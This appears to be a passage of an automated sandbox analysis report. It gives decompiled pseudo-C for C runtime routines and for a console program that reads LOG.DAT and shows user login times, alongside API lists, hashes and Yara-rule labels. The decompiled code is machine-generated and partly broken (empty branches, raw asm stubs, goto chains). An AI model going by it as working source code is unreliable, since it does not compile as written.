				E00EC715C(_t75, _t101, _t102, __eflags);
				_t106 = _t105 + 8;
				_v8 = _a4 + 1;
				while(1) {
					__eflags = _v8 - _a12 - 1;
					if(__eflags >= 0) {
						break;
					}
					E00EC12B0(_v8, _v12);
					_push(0xcd);
					_push("%c");
					E00EC715C(_t75, _t101, _t102, __eflags);
					_t106 = _t106 + 8;
					_t61 = _v8 + 1;
					__eflags = _t61;
					_v8 = _t61;
				}
				E00EC12B0(_v8, _v12);
				_push(0xbc);
				_push("%c");
				return E00EC715C(_t75, _t101, _t102, __eflags);
			}

APIs

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC139D
_wprintf.LIBCMT ref: 00EC13DB

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wprintf.LIBCMT ref: 00EC13FC
_wprintf.LIBCMT ref: 00EC1470
_wprintf.LIBCMT ref: 00EC1493
_wprintf.LIBCMT ref: 00EC14D1
_wprintf.LIBCMT ref: 00EC14F2

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$ConsoleCursorHandlePosition__ftbuf__output_s_l__stbuf
String ID:
API String ID: 1778593935-0
Opcode ID: c7cd74fafd4ce0d3e47d5bb1e3dd0474137667bdf1dedd7aab96ed7998f199c8
Instruction ID: ec0140a2836e5a28c3c4c9d95fbacaf8ddd9e859d07614b8a32617c99f170225
Opcode Fuzzy Hash: c7cd74fafd4ce0d3e47d5bb1e3dd0474137667bdf1dedd7aab96ed7998f199c8
Instruction Fuzzy Hash: 55415175A11208FBCB08DF98CA41F9D77B5BF46304F20919DF906BB342D632AA12AB55

Uniqueness

Uniqueness Score: -1.00%

Function 00ECD6D2, Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00ECD6D2(void* __ebx, void* __edi) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E00EC75FE(_t3);
				if(E00ECBF8E() != 0) {
					_t6 = E00ECBFD8(_t5, E00ECD468);
					 *0xee1a40 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E00ECC55B(1, 0x3b8);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E00ECD748();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E00ECC002(_t9,  *0xee1a40, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E00ECD626(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E00ECD748();
					return 0;
				}
			}

APIs

__init_pointers.LIBCMT ref: 00ECD6D2

Part of subcall function 00EC75FE: EncodePointer.KERNEL32(00000000,?,00ECD6D7,00EC892B,00EDD838,00000014), ref: 00EC7601
Part of subcall function 00EC75FE: __initp_misc_winsig.LIBCMT ref: 00EC7622

__mtinitlocks.LIBCMT ref: 00ECD6D7

Part of subcall function 00ECBF8E: InitializeCriticalSectionAndSpinCount.KERNEL32(00EE13D0,00000FA0,?,?,00ECD6DC,00EC892B,00EDD838,00000014), ref: 00ECBFAC

__mtterm.LIBCMT ref: 00ECD6E0
__calloc_crt.LIBCMT ref: 00ECD705
__initptd.LIBCMT ref: 00ECD727
GetCurrentThreadId.KERNEL32 ref: 00ECD72E

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: CountCriticalCurrentEncodeInitializePointerSectionSpinThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm
String ID:
API String ID: 2211675822-0
Opcode ID: b7f599fd0cda979cdfd992d1fa8f5f29d22e24b1102c652b3bf8648fd3625686
Instruction ID: 5a69f14d6092a960c0d4af1bf30a8f8344c81ff7bec6bd26fc61ce900435a31d
Opcode Fuzzy Hash: b7f599fd0cda979cdfd992d1fa8f5f29d22e24b1102c652b3bf8648fd3625686
Instruction Fuzzy Hash: 51F0C23220E3111AE2243B387E03F5A66D48B01370B20263EF469FA1D1EF3388438554

Uniqueness

Uniqueness Score: -1.00%

Function 00ECBB6C, Relevance: 9.1, APIs: 6, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00ECBB6C(void* __eflags, signed char _a4, signed int* _a8) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t43;
				signed int _t44;
				signed int _t45;
				signed int _t48;
				signed int _t52;
				void* _t60;
				signed int _t62;
				void* _t64;
				signed int _t67;
				signed int _t70;
				signed int _t74;
				signed int _t76;
				void* _t77;
				signed int _t85;
				void* _t86;
				signed int _t87;
				signed int _t89;
				signed int* _t92;

				_t44 = E00ECA5A7(_t43);
				if(_t44 >= 0) {
					_t92 = _a8;
					_t45 = E00EC8BB2(_t92);
					_t74 = _t92[3];
					_t89 = _t45;
					__eflags = _t74 & 0x00000082;
					if(__eflags != 0) {
						__eflags = _t74 & 0x00000040;
						if(__eflags == 0) {
							_t70 = 0;
							__eflags = _t74 & 0x00000001;
							if((_t74 & 0x00000001) == 0) {
								L10:
								_t48 = _t92[3] & 0xffffffef | 0x00000002;
								_t92[3] = _t48;
								_t92[1] = _t70;
								__eflags = _t48 & 0x0000010c;
								if((_t48 & 0x0000010c) == 0) {
									_t60 = E00EC8C70();
									__eflags = _t92 - _t60 + 0x20;
									if(_t92 == _t60 + 0x20) {
										L13:
										_t62 = E00ED11E7(_t89);
										__eflags = _t62;
										if(_t62 == 0) {
											goto L14;
										}
									} else {
										_t64 = E00EC8C70();
										__eflags = _t92 - _t64 + 0x40;
										if(_t92 != _t64 + 0x40) {
											L14:
											E00ED192E(_t92);
										} else {
											goto L13;
										}
									}
								}
								__eflags = _t92[3] & 0x00000108;
								if((_t92[3] & 0x00000108) == 0) {
									__eflags = 1;
									_push(1);
									_v8 = 1;
									_push( &_a4);
									_push(_t89);
									_t45 = E00ED0343(_t70, _t86, _t89, _t92, 1);
									_t70 = _t45;
									goto L27;
								} else {
									_t87 = _t92[2];
									_t25 = _t87 + 1; // 0x1a06
									 *_t92 = _t25;
									_t76 =  *_t92 - _t87;
									_v8 = _t76;
									_t92[1] = _t92[6] - 1;
									__eflags = _t76;
									if(__eflags <= 0) {
										__eflags = _t89 - 0xffffffff;
										if(_t89 == 0xffffffff) {
											L22:
											_t77 = 0xee1390;
										} else {
											__eflags = _t89 - 0xfffffffe;
											if(_t89 == 0xfffffffe) {
												goto L22;
											} else {
												_t77 = ((_t89 & 0x0000001f) << 6) +  *((intOrPtr*)(0xee2f60 + (_t89 >> 5) * 4));
											}
										}
										__eflags =  *(_t77 + 4) & 0x00000020;
										if(__eflags == 0) {
											goto L25;
										} else {
											_push(2);
											_push(_t70);
											_push(_t70);
											_push(_t89);
											_t45 = E00ED17B4(_t70, _t89, _t92, __eflags) & _t87;
											__eflags = _t45 - 0xffffffff;
											if(_t45 == 0xffffffff) {
												goto L28;
											} else {
												goto L25;
											}
										}
									} else {
										_push(_t76);
										_push(_t87);
										_push(_t89);
										_t70 = E00ED0343(_t70, _t87, _t89, _t92, __eflags);
										L25:
										_t45 = _a4;
										 *(_t92[2]) = _t45;
										L27:
										__eflags = _t70 - _v8;
										if(_t70 == _v8) {
											_t52 = _a4 & 0x000000ff;
										} else {
											L28:
											_t40 =  &(_t92[3]);
											 *_t40 = _t92[3] | 0x00000020;
											__eflags =  *_t40;
											goto L29;
										}
									}
								}
							} else {
								_t92[1] = 0;
								__eflags = _t74 & 0x00000010;
								if((_t74 & 0x00000010) == 0) {
									_t92[3] = _t74 | 0x00000020;
									L29:
									_t52 = _t45 | 0xffffffff;
								} else {
									_t85 = _t74 & 0xfffffffe;
									__eflags = _t85;
									 *_t92 = _t92[2];
									_t92[3] = _t85;
									goto L10;
								}
							}
						} else {
							_t67 = E00EC8EFF(__eflags);
							 *_t67 = 0x22;
							goto L6;
						}
					} else {
						_t67 = E00EC8EFF(__eflags);
						 *_t67 = 9;
						L6:
						_t92[3] = _t92[3] | 0x00000020;
						_t52 = _t67 | 0xffffffff;
					}
					return _t52;
				} else {
					return _t44 | 0xffffffff;
				}
			}

APIs

__ioinit.LIBCMT ref: 00ECBB70

Part of subcall function 00ECA5A7: InitOnceExecuteOnce.KERNEL32(00EE229C,00ECA5E2,00000000,00000000,00ED1205,?,?,00EC9886,00000000,?,?,?,00EC71AD,-00000020,00EDD7B8,0000000C), ref: 00ECA5B5

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$ExecuteInit__ioinit
String ID:
API String ID: 129814473-0
Opcode ID: 4dc112ebb65ddcc9d8c5cc8dde695addb59126f12e9be86db46a291a91ff8529
Instruction ID: f92920e30e32cf53139f3396a48405d4576672f2e422609d532fe545d60f46ba
Opcode Fuzzy Hash: 4dc112ebb65ddcc9d8c5cc8dde695addb59126f12e9be86db46a291a91ff8529
Instruction Fuzzy Hash: 6741E171500A049ED7249F28CA93FBAB7E4DF41338F14961DE4A6A62D1DB76D8428B50

Uniqueness

Uniqueness Score: -1.00%

Function 00403632, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E00403632(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _t10;
				int _t12;
				int _t18;
				signed int _t20;

				_t10 =  *0x412014; // 0x71686280
				_v8 = _t10 ^ _t20;
				_v12 = _v12 & 0x00000000;
				_t12 =  &_v12;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t12, __ecx, __ecx);
				if(_t12 != 0) {
					_t12 = GetProcAddress(_v12, "CorExitProcess");
					_t18 = _t12;
					if(_t18 != 0) {
						E0040C15C();
						_t12 =  *_t18(_a4);
					}
				}
				if(_v12 != 0) {
					_t12 = FreeLibrary(_v12);
				}
				E004018CC();
				return _t12;
			}

0x00403639
0x00403640
0x00403643
0x00403647
0x00403652
0x0040365a
0x00403665
0x0040366b
0x0040366f
0x00403676
0x0040367c
0x0040367c
0x0040367e
0x00403683
0x00403688
0x00403688
0x00403693
0x0040369b

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00403627,00000003,?,004035C7,00000003,00410EB8,0000000C,004036DA,00000003,00000002), ref: 00403652
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00403665
FreeLibrary.KERNEL32(00000000,?,?,?,00403627,00000003,?,004035C7,00000003,00410EB8,0000000C,004036DA,00000003,00000002,00000000), ref: 00403688

Strings

mscoree.dll, xrefs: 0040364B
CorExitProcess, xrefs: 0040365D

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 829d2906a4e1aa3164176bf7ab706f29f81f0af0ee9c7b1f46b6600de564c79c
Instruction ID: 2a5f1b52f49e2644cdc997ca28138b4c7ff7fe3d24fc8903f8dd75b8825c5772
Opcode Fuzzy Hash: 829d2906a4e1aa3164176bf7ab706f29f81f0af0ee9c7b1f46b6600de564c79c
Instruction Fuzzy Hash: D7F0A431A0020CFBDB109FA1DD49B9EBFB9EB04711F00427AF805B22A0DB754A40CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004062B8, Relevance: 7.6, APIs: 5, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004062B8(void* __edx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				void* __ebx;
				void* __edi;
				signed int _t34;
				signed int _t40;
				int _t45;
				int _t52;
				void* _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t71;
				signed int _t72;
				short* _t73;

				_t34 =  *0x412014; // 0x71686280
				_v8 = _t34 ^ _t72;
				_push(_t53);
				E00403F2B(_t53,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t52 =  *(_v24 + 8);
					_t57 = _t52;
					_a24 = _t52;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					E004018CC();
					return _t67;
				}
				_t55 = _t40 + _t40;
				_t17 = _t55 + 8; // 0x8
				asm("sbb eax, eax");
				if((_t17 & _t40) == 0) {
					_t71 = 0;
					L11:
					if(_t71 != 0) {
						E00402460(_t67, _t71, _t67, _t55);
						_t45 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t71, _v12);
						if(_t45 != 0) {
							_t67 = GetStringTypeW(_a8, _t71, _t45, _a20);
						}
					}
					L14:
					E004063D5(_t71);
					goto L15;
				}
				_t20 = _t55 + 8; // 0x8
				asm("sbb eax, eax");
				_t47 = _t40 & _t20;
				_t21 = _t55 + 8; // 0x8
				_t63 = _t21;
				if((_t40 & _t20) > 0x400) {
					asm("sbb eax, eax");
					_t71 = E00403E3D(_t63, _t47 & _t63);
					if(_t71 == 0) {
						goto L14;
					}
					 *_t71 = 0xdddd;
					L9:
					_t71 =  &(_t71[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E004018E0();
				_t71 = _t73;
				if(_t71 == 0) {
					goto L14;
				}
				 *_t71 = 0xcccc;
				goto L9;
			}

0x004062c0
0x004062c7
0x004062ca
0x004062d3
0x004062d8
0x004062dd
0x004062e2
0x004062e5
0x004062e7
0x004062e7
0x004062ec
0x00406305
0x0040630b
0x00406310
0x004063af
0x004063b3
0x004063b8
0x004063b8
0x004063cc
0x004063d4
0x004063d4
0x00406316
0x00406319
0x0040631e
0x00406322
0x0040636e
0x00406370
0x00406372
0x00406377
0x0040638e
0x00406396
0x004063a6
0x004063a6
0x00406396
0x004063a8
0x004063a9
0x00000000
0x004063ae
0x00406324
0x00406329
0x0040632b
0x0040632d
0x0040632d
0x00406335
0x00406352
0x0040635c
0x00406361
0x00000000
0x00000000
0x00406363
0x00406369
0x00406369
0x00000000
0x00406369
0x00406339
0x0040633d
0x00406342
0x00406346
0x00000000
0x00000000
0x00406348
0x00000000

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000100,?,00000000,?,?,00000000), ref: 00406305
__alloca_probe_16.LIBCMT ref: 0040633D
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0040638E
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 004063A0
__freea.LIBCMT ref: 004063A9

Part of subcall function 00403E3D: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,00407C67,?,00000000,?,004067DA,?,00000004,?,?,?,?,00403B03), ref: 00403E6F

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: 3668a24b8cc91a8edc8bb6444902db7ad8a914eb3222a5b1c35fe0f4f695b84c
Instruction ID: a1348b344bfdb8beedea85c2379656fd8e164ea4191dcb9080565a587d22e55f
Opcode Fuzzy Hash: 3668a24b8cc91a8edc8bb6444902db7ad8a914eb3222a5b1c35fe0f4f695b84c
Instruction Fuzzy Hash: AE31B072A0020AABDF249F65DC85DAF7BA5EF40310B05423EFC05E6290E739CD65DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00ED1D26, Relevance: 7.6, APIs: 5, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00ED1D26(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					__eflags = _t31;
					if(_t31 != 0) {
						_push(__ebx);
						while(1) {
							__eflags = _t31 - 0xffffffe0;
							if(_t31 > 0xffffffe0) {
								break;
							}
							__eflags = _t31;
							if(_t31 == 0) {
								_t31 = _t31 + 1;
								__eflags = _t31;
							}
							_t7 = HeapReAlloc( *0xee2a68, 0, _a4, _t31);
							_t20 = _t7;
							__eflags = _t20;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								__eflags =  *0xee2a64 - _t7;
								if(__eflags == 0) {
									_t9 = E00EC8EFF(__eflags);
									 *_t9 = E00EC8F12(GetLastError());
									goto L17;
								} else {
									__eflags = E00ECC6EE(_t7, _t31);
									if(__eflags == 0) {
										_t12 = E00EC8EFF(__eflags);
										 *_t12 = E00EC8F12(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E00ECC6EE(_t6, _t31);
						 *((intOrPtr*)(E00EC8EFF(__eflags))) = 0xc;
						goto L12;
					} else {
						E00EC8F53(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00EC77C5(__ebx, __edx, __edi, _a8);
				}
			}

APIs

_malloc.LIBCMT ref: 00ED1D32

Part of subcall function 00EC77C5: __FF_MSGBANNER.LIBCMT ref: 00EC77DC
Part of subcall function 00EC77C5: __NMSG_WRITE.LIBCMT ref: 00EC77E3
Part of subcall function 00EC77C5: HeapAlloc.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,00ECC5BB,00000000,00000000,00000000,00000000,?,00ECBF28,00000018,00EDD900), ref: 00EC7808

_free.LIBCMT ref: 00ED1D45

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: 6443b7078ba0f193fb823e412d80cedef249467e33d448bc0ca82f1aae17c9f2
Instruction ID: 1012deea6c01caa1d64a1f9ac0e11a1d829ad664c86c43971a21c8f7bd25561c
Opcode Fuzzy Hash: 6443b7078ba0f193fb823e412d80cedef249467e33d448bc0ca82f1aae17c9f2
Instruction Fuzzy Hash: 2011C431505215BFDB203F75AF04B9937DADB00365B20646FF949BA291DF3188468690

Uniqueness

Uniqueness Score: -1.00%

Function 00EC857D, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00EC860D

Part of subcall function 00ECE840: __87except.LIBCMT ref: 00ECE87B

Strings

pow, xrefs: 00EC85E5, 00EC8602

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 54ed00c6223b8cc6cd2325fe5e5d9c6ff8b8792e60a6f2a088449db73c361065
Instruction ID: 72e6efaaea69c52266719fb425e3c6de5fc5d1ccfc4883048b88db96a9a18720
Opcode Fuzzy Hash: 54ed00c6223b8cc6cd2325fe5e5d9c6ff8b8792e60a6f2a088449db73c361065
Instruction Fuzzy Hash: DB518C21A0820286CB15B714CB01FBA6BD0DB80754F246DAEF4D5B23E5EF37CC979A46

Uniqueness

Uniqueness Score: -1.00%

Function 00EC347B, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00EC347B(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr _t218;
				void* _t228;
				void* _t249;
				void* _t270;
				void* _t283;
				void* _t287;
				void* _t306;
				intOrPtr _t307;
				void* _t309;
				intOrPtr _t310;
				void* _t313;
				void* _t314;
				intOrPtr _t320;
				void* _t336;
				intOrPtr _t364;
				void* _t371;
				intOrPtr _t394;
				void* _t397;
				void* _t421;
				void* _t433;
				void* _t435;
				void* _t436;
				void* _t437;
				void* _t442;
				void* _t443;
				void* _t446;
				void* _t448;
				void* _t450;
				void* _t451;
				void* _t457;

				L0:
				while(1) {
					L0:
					_t457 = __fp0;
					_t421 = __esi;
					_t397 = __edi;
					_t314 = __ebx;
					 *(_t433 - 8) = 1 +  *(_t433 - 8);
					 *(_t433 - 0xc) = 1 +  *(_t433 - 0xc);
					while(1) {
						L69:
						__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
						if(__eflags < 0) {
						}
						L70:
						E00EC12B0(5,  *(_t433 - 0xc) + 0xa);
						_push(1 +  *(_t433 - 8));
						_push("%d.");
						E00EC715C(_t314, _t397, _t421, __eflags);
						 *((char*)( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x10)) + 0x36)) = 0;
						 *((char*)( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x10)) + 0x40)) = 0;
						_t181 = 0x22 +  *(_t433 - 8) * 0x45; // 0x23
						_t270 = E00EC82C0( *((intOrPtr*)(_t433 - 0x10)) + _t181);
						_t448 = _t435 + 0xc;
						__eflags = _t270 - 0xa;
						if(__eflags < 0) {
							_t336 =  *(_t433 - 8) * 0x45;
							__eflags = _t336;
							_t185 = _t336 + 0x22; // 0x23
							_push( *((intOrPtr*)(_t433 - 0x10)) + _t185);
							E00EC16A0(_t397, _t421, _t457);
						}
						L72:
						E00EC12B0(9,  *(_t433 - 0xc) + 0xa);
						_t190 = 0x3b +  *(_t433 - 8) * 0x45; // 0x3c
						_push( *((intOrPtr*)(_t433 - 0x10)) + _t190);
						_t194 = 0x31 +  *(_t433 - 8) * 0x45; // 0x32
						_push( *((intOrPtr*)(_t433 - 0x10)) + _t194);
						_t198 = 0x22 +  *(_t433 - 8) * 0x45; // 0x23
						_push( *((intOrPtr*)(_t433 - 0x10)) + _t198);
						_t202 = 4 +  *(_t433 - 8) * 0x45; // 0x5
						_push( *((intOrPtr*)(_t433 - 0x10)) + _t202);
						_push("%s\t\t%s\t%s\t\t%s");
						E00EC715C(_t314, _t397, _t421, __eflags);
						_t435 = _t448 + 0x14;
						__eflags =  *(_t433 - 8) -  *(_t433 - 0x1c) + 9;
						if( *(_t433 - 8) <  *(_t433 - 0x1c) + 9) {
							L74:
							goto L0;
						} else {
							L73:
							 *(_t433 - 0x1c) =  *(_t433 - 0x1c) + 0xa;
						}
						L75:
						_t322 =  *((char*)(_t433 - 1));
						__eflags =  *((char*)(_t433 - 1)) - 0x53;
						if( *((char*)(_t433 - 1)) == 0x53) {
							L77:
							 *(_t433 - 0x34) = 1;
						} else {
							L76:
							__eflags =  *((char*)(_t433 - 1)) - 0x73;
							if( *((char*)(_t433 - 1)) == 0x73) {
								goto L77;
							}
						}
						L78:
						__eflags =  *((char*)(_t433 - 1)) - 0x20;
						if( *((char*)(_t433 - 1)) == 0x20) {
							_t322 =  *(_t433 - 8);
							__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
							if( *(_t433 - 8) ==  *(_t433 - 0x14)) {
								 *(_t433 - 0x1c) = 0;
							}
						}
						L81:
						__eflags =  *((char*)(_t433 - 1)) - 0x53;
						if(__eflags == 0) {
							L50:
							E00EC20E0(_t322, _t397, _t421, __eflags, _t457);
							__eflags =  *(_t433 - 0x14) - 0xc;
							if(__eflags >= 0) {
								E00EC12B0(0xf, 0x15);
								_push("Press SPACE BAR to view more data");
								E00EC715C(_t314, _t397, _t421, __eflags);
								_t446 = _t435 + 4;
							} else {
								E00EC12B0(8, 0x15);
								_push("Press S to toggle Sorting between ascending or descending order.");
								E00EC715C(_t314, _t397, _t421, __eflags);
								_t446 = _t435 + 4;
							}
							L53:
							E00EC12B0(5, 8);
							_push("SN\t User Name\tDate\t\tStart time\tEnd Time");
							E00EC715C(_t314, _t397, _t421, __eflags);
							_t435 = _t446 + 4;
							E00EC12B0(4, 9);
							 *(_t433 - 8) = 0;
							while(1) {
								L55:
								__eflags =  *(_t433 - 8) - 0x46;
								if(__eflags >= 0) {
									break;
								}
								L56:
								_push(0xc4);
								_push("%c");
								E00EC715C(_t314, _t397, _t421, __eflags);
								_t435 = _t435 + 8;
								L54:
								_t287 = 1 +  *(_t433 - 8);
								__eflags = _t287;
								 *(_t433 - 8) = _t287;
							}
							L57:
							__eflags =  *(_t433 - 0x34);
							if( *(_t433 - 0x34) != 0) {
								L58:
								 *(_t433 - 8) =  *(_t433 - 0x14) - 1;
								while(1) {
									L60:
									__eflags =  *(_t433 - 8);
									if( *(_t433 - 8) < 0) {
										break;
									}
									L61:
									_t421 =  *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x10));
									memcpy(( *(_t433 - 0x14) -  *(_t433 - 8) - 1) * 0x45 +  *((intOrPtr*)(_t433 - 0x24)), _t421, 0x11 << 2);
									_t435 = _t435 + 0xc;
									_t397 = _t421 + 0x22;
									asm("movsb");
									L59:
									_t371 =  *(_t433 - 8) - 1;
									__eflags = _t371;
									 *(_t433 - 8) = _t371;
								}
								L62:
								 *(_t433 - 8) = 0;
								while(1) {
									L64:
									__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
									if( *(_t433 - 8) >=  *(_t433 - 0x14)) {
										goto L66;
									}
									L65:
									_t421 =  *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x24));
									memcpy( *(_t433 - 8) * 0x45 +  *((intOrPtr*)(_t433 - 0x10)), _t421, 0x11 << 2);
									_t435 = _t435 + 0xc;
									_t397 = _t421 + 0x22;
									asm("movsb");
									L63:
									_t283 = 1 +  *(_t433 - 8);
									__eflags = _t283;
									 *(_t433 - 8) = _t283;
								}
							}
							L66:
							__eflags =  *(_t433 - 0x1c) -  *(_t433 - 0x14);
							if( *(_t433 - 0x1c) >  *(_t433 - 0x14)) {
								 *(_t433 - 0x1c) = 0;
							}
							L68:
							 *(_t433 - 8) =  *(_t433 - 0x1c);
							 *(_t433 - 0xc) = 0;
							L69:
							__eflags =  *(_t433 - 8) -  *(_t433 - 0x14);
							if(__eflags < 0) {
							}
							goto L75;
						}
						L82:
						_t249 =  *((char*)(_t433 - 1));
						__eflags = _t249 - 0x73;
						if(__eflags == 0) {
							goto L50;
						}
						L83:
						_t322 =  *((char*)(_t433 - 1));
						__eflags =  *((char*)(_t433 - 1)) - 0x20;
						if(__eflags == 0) {
							goto L50;
						}
						L84:
						while(1) {
							L86:
							__eflags = 1;
							if(1 == 0) {
								break;
							}
							L1:
							 *(_t433 - 8) = 0;
							 *(_t433 - 0x28) = 0;
							 *(_t433 - 0x1c) = 0;
							 *(_t433 - 0x34) = 0;
							_t218 = E00EC6EF1("LOG.DAT", "r");
							_t436 = _t435 + 8;
							 *0xee2f20 = _t218;
							while(1) {
								L2:
								_push( *((intOrPtr*)(_t433 - 0x18)) + 0x3b +  *(_t433 - 8) * 0x45);
